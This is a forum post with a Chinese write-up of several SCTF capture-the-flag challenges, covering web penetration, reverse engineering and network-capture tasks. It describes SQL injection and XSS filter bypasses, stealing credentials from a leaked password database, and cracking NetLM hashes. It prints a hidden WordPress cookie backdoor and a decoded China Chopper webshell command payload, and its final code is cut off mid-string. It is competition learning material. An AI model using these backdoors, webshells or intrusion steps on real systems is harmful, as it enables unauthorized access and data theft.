阅读:3888回复:0
SCTF-WriteUp
PT100
看到题面提示说 flag 在后台 输入 /admin/ 看到一个 HTTP Basic Authentication 既然是CTF肯定不可能是跑密码了,所以考虑其他情况。观察可知主页跑的是 PHP 。但是看 HTTP 头却是 IIS 。所以考虑是不是 短文件名之类的。搜索可得 http://www.freebuf.com/articles/4908.html注意到最后有这么一段 以下部分为其他报道较少提及的。一开始尝试 /admin::$Index_Allocation/.htpasswd多次,未果。后来想这个是 IIS 可以在 IIS 那边设置,遂访问 /admin::$Index_Allocation/index.php得到一个登陆点,尝试 id=001' return : WTF但是 id=0001' return : login failed可以大概猜测出,这个只能输入四个字节,且应该是个注入,四个字节注入想到 alictf 的 web100 将 or 转成 || 。尝试 '|1#发现不行。。。后来纠结了很久,重新看了一遍自己输入的。。考虑了下,随手将 1 改成 0 。 Get Flag。。。 PT200 看了下 source code 发现有个 index.php?name=xss然后在右上角有个链接可以提交语句,简单来看就是一个 xss 。然后试验了几个关键词,发现都过滤了。 比如 on|script|img等等 然后想要不先打后台吧,测试发现 没有过滤,就打了个过去。但是想想也没 cookie 似乎也干不了什么。 后来官方给了 hint 说是不要 0day 已经有绕过了。遂 Google 。 http://parsec.me/13.html里面 import 一个外部 PHP ,但是如果直接打 cookie 不行,因为存在一个跨域问题,插个允许跨域的头就 ok 了。 然后打到后台,发现没 cookie 什么的。 再看另一个 hint 可知,有个 SQLi ,遂利用 heige ,在杭州说的思路,用 ajax 去获取信息,然后再回传。 猜测后发现存在 flag.php 然后总要有参数吧。 记得去年还是前年 syc 举办的一个比赛,注入也是要先输入一个 GET 参数 id=1这样之后得到一个地址。尝试 'and 1=1可看到,提示有安全狗。 前两天刚看到有人发了条微博,说 MySQL 新关键字, multipoint 什么的。 https://rdot.org/forum/showthread.php?p=37133然后注入。 PT400 官方给了个 wordpress 的 blog 看了下。没什么想法。 后来看到底部给了个链接 http://idc.sycsec.com就想反正 wordpress 不好搞。那就直接搞 idc 吧。(另:真实渗透中搞不搞 idc 主要还是看值不值得,看产入产出比。) 进入 idc 可以看到 download 有 pt300 的源码。可惜审错版本。。导致没做出来。 然后底部有个 bug反馈 bug.php然后后来官方 hint SQLi 那就是 idc 有注入了,手测了下。 id=2 返回等于 id=4-2可以知道这有注入,然后但是发现应该是过滤了什么。 因为懒,所以我 SQLmap 的 tamper 一个个试过去,不巧第二个就成功了。看了下,发现是讲空格转换成 %0a 。 然后注入出后台管理员账号密码。 然后但是不知道后台啊,所以将注入 concat 出一个 xss 。从 bug 反馈那边打到后台。 (这里是吐槽:管理员的密码跑出不来。最后手抽去 Google 了一下才得到密码。) 进入后台后有上传点,尝试直接上传不成功,修改上传的包 text/php -> image/jpg发现可上传,但是其实没搞定。后来,百度了几个免杀 PHP 一句话之类的。发现,如果 PHP 标签不是 而是 就可以绕过。 然后应该是过滤了很多函数,尝试直接列目录和读文件,发现目录下有个 wordpress 的压缩包。赌五毛就是看压缩包日 blog 了。 然后根据时间将压缩包里的文件都列出来,发现 /wp-include/revision.php这个文件是最近修改过的, diff 了下官方版本的 wordpress 发现里面多了这么一段。 #!phpfunction wp_check_my_session(){if(isset($_COOKIE['wp-ssesion'])) { $_check=($_COOKIE['wp-sesion'][0]^$_COOKIE['wp-sesion'][1]). ($_COOKIE['wp-sesion'][2]^$_COOKIE['wp-sesion'][3]). ($_COOKIE['wp-sesion'][4]^$_COOKIE['wp-sesion'][5]). ($_COOKIE['wp-sesion'][6]^$_COOKIE['wp-sesion'][7]). ($_COOKIE['wp-sesion'][8]^$_COOKIE['wp-sesion'][9]). ($_COOKIE['wp-sesion'][10]^$_COOKIE['wp-sesion'][11]); $_check($_COOKIE['wp-ssesion']);}else{return 0;}看了眼应该是后门,用户可以自定义一个六位的函数并执行,第一反应是 system 。 然后就写了个程序,直接暴力跑了下所有的可能,随便拿了一个出来。屡次尝试后发现不成功。 然后发现,这里还是吐槽:其实 cookie 里是有两个不一样的变量的。。但是由于太像了,导致我只传了一个。 满心欢喜的去执行了,传了两个后发现,还是不行。。目测就是 system 函数被禁用了? 然后尝试 assert 函数。成功执行,翻文件后发现没有 flag 。最后直接连上数据库 Get FLag PT500 链接到三叶草花卉公司。 http://corp.sycsec.com 可以看到给出了几个链接,还有个妹子的图片,在源码里还有妹子的邮箱。 从题面看,最终是要到 file 服务器找到那个种子。然后 PING file.sycsec.com (10.24.13.37): 56 data bytesRequest timeout for icmp_seq 0发现 file 服务器在内网,好了就是渗透了。 然后先到 report 服务器,看到时要用工号登陆,又说妹子来了就有83人了。易得,妹子的工号肯定就是 SYC083然后到公开的社工库查询下,发现在 csdn 泄漏了妹子的密码。用那个密码成功登陆 report 服务器。 图片:2014120906513458226.png 然后有上传点,发现上传任何文件都会变成 lol 的后缀的文件。然后看了下上传的包,随手在文件名里面加了个 ' 发现报错了。 好了,目测就是文件名的注入了。注入得到每个人的账号密码,工号,公司邮箱。 噢,邮箱啊。那就是接下去要登陆 mail 服务器了。目测邮箱地址为 http://mail.sycsec.com好了,然后密码一个个试过去,发现 [email protected]可以登陆,发现里面有 vpn 服务器地址,还说了密码是工号加生日, 邮件里还说小美周末就生日了。 然后到 http://vpn.sycsec.com 用注入得到的小美的工号加生日(枚举了生日年份 90-99 )发现小美密码是 SYC079940927 登陆 vpn 服务器后,访问 http://10.24.13.37/ 到了 file 服务器,然后组合各种密码未果。尝试扫描目录,发现有个 files 目录。 既然是 files 服务器,而且是一个公司,那么肯定在 files 目录下有用用户名或者工号命名的目录,然后后面有文件。 然后尝试 http://10.24.13.37/files/SYC001 - SYC083/torrent Get Flag! code200 把数值转成二进制观察下就行了,直接贴代码吧。代码太挫,勿喷。 #!pythonimport string,socketglobal answer,real_ans,flag,a_numdef check(answer_t,num): global real_ans money = [1, -2, 4, -8, 16, -32, 64, -128, 256, -512, 1024, -2048, 4096, -8192] for x in answer_t: num -= money[x] if num == 0: flag = 1 real_ans = answer[:] return 1 return 0def odd(i): if i % 2 == 0: return False return Truedef solv(num): global answer,real_ans if check(answer,a_num) == 1: return 0 bin_num = bin(num) if odd(abs(num)): num -= 1 bin_num = bin(num) answer.append(0) if check(answer,a_num) == 1: return for x in xrange(2,len(bin_num)-1,2): if bin_num[-1*x] == '0' and bin_num[-1*x-1]== '1': answer.append(x) if solv(num-2**x) == 0: return 0 if bin_num[-1*x] == '1' and bin_num[-1*x-1]== '1': answer.append(x-1) if solv(num+2**(x-1)) == 0: return 0 if bin_num[-1*x] == '1' and (bin_num[-1*x-1]== '0' or bin_num[-1*x-1]== 'b'): answer.append(x-1) if solv(num+2**(x-1)) == 0: return 0def main(): global answer,real_ans,flag,a_num io = socket.socket(socket.AF_INET, socket.SOCK_STREAM) io.connect(('218.2.197.248',10007)) res = '' rnd = 0 while True: rnd += 1 a_num = 0 res = '' res = io.recv(1024) try: a_num = int(res) except: print 'n'+res break print 'n' + '-' * 10 + ' Round %d '%rnd + '-'*10 print res flag = 0 answer = [] real_ans = [] solv(a_num) s = '' if len(real_ans)>0: s = ' '.join([str(x) for x in real_ans[::-1]]) print s io.sendall(s+'n')if __name__ == '__main__': main()RE50 送分题,就是没来得及看公告……使用IDA64分析,发现是对输入的字符串每一个字符右移3位,然后和字符串Jr3gFud6n进行比较看是否一致。 Python脚本: #!python# -*- coding:utf-8 -*-def getFlag(): s = "n6duFg3rJ"[::-1] flag = [] for ch in s: flag.append(chr(ord(ch)-3)) return "".join(flag)if __name__ == "__main__": raw_input("SCTF{%s}" % getFlag()) # SCTF{Go0dCra3k}MISC100 对bin文件进行分析,发现在主框架中通过signal函数注册了几个信号,其中’2’,’4’,’6’,’8’分别用于控制下、左、上、右四个方向,SIGALRM用于处理游戏的主要业务逻辑。至于SIGTRAP,则是在handler里面留了个个int 3的断点,简单的反调试罢了,SIGTRAP的信号处理逻辑为直接执行一个空函数。 图片:2014120904265776339.png 所以我们可以写一个程序,通过发送信号的方式来控制按键。Linux下C语言可以使用kill函数对指定的pid发送信号,而pid则可以通过执行命令得到(ps/grep/awk),为了完美接收键盘控制信息,我这里使用了curses来接收按键操作,这样直接按方向键就好了。 #!c#include #include #include #include #include #include int getPid(){ FILE *fp = NULL; fp = popen("ps -e|grep 'snake'|awk '{print $1}'", "r"); int pid = -1; if (EOF == fscanf(fp, "%d", &pid)) pid = -1; pclose(fp); return pid;}int main(int argc, char** argv){ int ch; int pid = -1; while (pid == -1) pid = getPid(); printf("pid = %dn", pid); initscr(); cbreak(); noecho(); keypad(stdscr, true); while (1) { ch = getch(); if (ch == KEY_UP) ch = '8'; else if (ch == KEY_DOWN) ch = '2'; else if (ch == KEY_LEFT) ch = '4'; else if (ch == KEY_RIGHT) ch = '6'; kill(pid, ch); } endwin(); return 0;}/* g++ -o ctrl ctrl.cpp -lncurses U0NURntzMWduNGxfMXNfZnVubnk6KX0= SCTF{s1gn4l_1s_funny:)}*/MISC300 从编号为16的数据包中找到一个Encryption Key为1122334455667788,于是Google一下关键字“SMB 1122334455667788 密码”,点点点来到看雪的一个帖子http://bbs.pediy.com/showthread.php?t=176189,学习一下。 图片:2014120904265752248.png 以及Unicode Password,如下图所示: 图片:2014120904265721219.png 参照看雪论坛的帖子,新进行如下操作: Step 1: 彩虹表跑起来 从ftp://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/RTI2/halflmchall/下载彩虹表,还好网速快,哗啦啦就把第一个文件夹的4GB多的彩虹表下好了。然后从http://sourceforge.net/projects/rcracki/下载rcracki程序,执行如下命令: rcracki_mt.exe -h 9e94258a03356914 D:Downloadsrainbow 很快就看到了结果,如图所示: 图片:2014120904265862283.png 第一步搞定,这里得到的结果为: 9e94258a03356914 NETLMIS hex:4e45544c4d495 Step 2: Perl脚本跑起来 这里卡了一会,因为看雪的帖子并没有说John文件是如何构造的,他那个是Metasploit自动生成的,所以我又翻了好几个帖子,最后构造了这样一个文件: user::domain:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448:013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475:1122334455667788 然后去Kali下的metasploit-framework下跑netntlm.pl脚本: winson@kali:/usr/share/metasploit-framework/data/john/run.linux.x64.mmx$ sudo perl ./netntlm.pl --seed "NETLMIS" --file /tmp/john_netntlm 跑完第一遍得到NETLMIS666,这个是不区分大小写的,我们还需要跑第二遍,第二遍得到NetLMis666,因此Flag为SCTF{NetLMis666}。 MISC400A Wireshark打开pcap文件,输入过滤器“tcp contains ".rar"”,发现一个编号为10192的POST数据包,参数经过Unescape解码后得到: yo=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskZnA9QGZvcGVuKCRGLCJyIik7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oIkVSUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7ZGllKCk7&z1=C:inetpubwwwrootbackupwwwroot.rar其中z0参数经过Base64解码后得到: @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];$fp=@fopen($F,"r");if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");};echo("||");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"ret={$ret}":"";;echo("| |
|